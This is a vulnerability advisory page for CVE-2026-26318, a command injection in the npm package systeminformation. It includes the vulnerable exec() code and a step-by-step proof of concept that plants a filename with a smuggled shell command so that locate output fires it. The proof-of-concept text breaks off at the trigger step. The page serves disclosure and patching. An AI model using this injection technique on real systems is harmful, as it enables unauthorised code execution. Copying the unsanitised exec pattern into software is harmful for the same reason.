Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-26318 — systeminformation

🟠 CVSS 8.0 — High ⚠️ Exploit Public CWE-78 OSV
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Command Injection via Unsanitized locate Output in versions() — systeminformation

# Command Injection via Unsanitized locate Output in versions() — systeminformation

Package: systeminformation (npm)

Tested Version: 5.30.7

Affected Platform: Linux

Author: Sebastian Hildebrandt

Weekly Downloads: ~5,000,000+

Repository: https://github.com/sebhildebrandt/systeminformation

Severity: Medium

CWE: CWE-78 (OS Command Injection)

The Vulnerable Code Path

Inside the versions() function, when detecting the PostgreSQL version on Linux, the code does this:

```javascript

// lib/osinfo.js — lines 770-776

exec('locate bin/postgres', (error, stdout) => {

if (!error) {

const postgresqlBin = stdout.toString().split('\n').sort();

if (postgresqlBin.length) {

exec(postgresqlBin[postgresqlBin.length - 1] + ' -V', (error, stdout) => {

// parses version string...

});

}

}

});

```

Here's what happens step by step:

1. It runs locate bin/postgres to search the filesystem for PostgreSQL binaries

2. It splits the output by newline and sorts the results alphabetically

3. It takes the last element (highest alphabetically)

4. It concatenates that path directly into a new exec() call with + ' -V'

No sanitizeShellString(). No path validation. No execFile(). Raw string concatenation into exec().

The locate command reads from a system-wide database (plocate.db or mlocate.db) that indexes all filenames on the system. If any indexed filename contains shell metacharacters — specifically semicolons — those characters will be interpreted by the shell when passed to exec().

Exploitation

Prerequisites

For this vulnerability to be exploitable, the following conditions must be met:

1. Target system runs Linux — the vulnerable code path is inside an if (_linux) block

2. locate / plocate is installed — common on Ubuntu, Debian, Fedora, RHEL

3. PostgreSQL binary exists in the locate database — so locate bin/postgres returns results (otherwise the code falls through to a safe psql -V fallback)

4. The attacker can create files on the filesystem — in any directory that gets indexed by updatedb

5. The locate database gets updated — updatedb runs daily via systemd timer (plocate-updatedb.timer) or cron on most distros

Step 1 — Verify the Environment

On the target machine, confirm locate is available and running:

```

which locate

# /usr/bin/locate

systemctl list-timers | grep plocate

# plocate-updatedb.timer plocate-updatedb.service

# (runs daily, typically around 1-2 AM)

```

Check who owns the locate database:

```

ls -la /var/lib/plocate/plocate.db

# -rw-r----- 1 root plocate 18851616 Feb 14 01:50 /var/lib/plocate/plocate.db

```

Database is root-owned and updated by root. Regular users cannot update it directly, but updatedb runs on a daily schedule and indexes all readable files.

Step 2 — Craft the Malicious File Path

The key insight is that Linux allows semicolons in filenames, and exec() passes strings through /bin/sh -c which interprets semicolons as command separators.

Create a file whose path contains an injected command:

```

mkdir -p "/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin"

touch "/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres"

```

Verify it exists:

```

find /var/tmp -name postgres

# /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres

```

This file needs to end up in the locate database. On a real system, this happens automatically when updatedb runs overnight. For testing purposes:

```

sudo updatedb

```

Then verify locate picks it up:

```

locate bin/postgres

# /usr/lib/postgresql/14/bin/postgres

# /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres

```

Step 3 — Understand the Sort Trick

The vulnerable code sorts the locate results alphabetically and takes the last element:

```javascript

const postgresqlBin = stdout.toString().split('\n').sort();

exec(postgresqlBin[postgresqlBin.length - 1] + ' -V', ...);

```

Alphabetically, /var/ sorts after /usr/. So our malicious path naturally becomes the selected one:

```

Node.js sort order:

[0] /usr/lib/postgresql/14/bin/postgres ← legitimate

[1] /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres ← selected (last)

```

Quick verification:

```

node -e "

const paths = [

'/usr/lib/postgresql/14/bin/postgres',

'/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres'

];

console.log('Sorted:', paths.sort());

console.log('Selected (last):', paths[paths.length - 1]);

"

```

Output:

```

Sorted: [

'/usr/lib/postgresql/14/bin/postgres',

'/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres'

]

Selected (last): /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres

```

Step 4 — Trigger the Vulnerability

Now when any application using systeminformation calls versions() requesting the postgresql version, the injected command fires:

```javascript

const si = require('systeminformati

How this vulnerability can be exploited

This issue can be reached with local access to the system, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality high, integrity high, availability high.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

  • Attack vector: Local — a local account, shell or session on the host is needed.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: Low — an ordinary user account is enough.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Changed — a successful attack reaches components beyond the vulnerable one.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: High — total loss, or loss the attacker controls.

Weakness class

CVE-2026-26318 is classified as CWE-78: OS Command Injection. Untrusted input reaches a shell command without neutralisation, so an attacker can run arbitrary operating system commands.

Affected software

CVE-2026-26318 is recorded against 1 package.

  • systeminformation

Timeline and source

Published on 18 February 2026 and last revised on 15 July 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from OSV.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Package)

Other advisories for this package

systeminformation has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-78: OS Command Injection) in other software:

CVE-2026-26318 on other distributions

Each distribution ships its own build and its own fixed version. Pick the one you run:

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
CWE CWE-78
Public Exploit ⚠️ Yes
Source OSV
Published 2026-02-18
Updated 2026-08-20
Modified 2026-07-15

Affected Packages

Software From version Fixed in
systeminformation — —

Exploit Protection

Are you running systeminformation?

CVE-2026-26318 carries CVSS 8.0 High rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2026-26318 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026
✓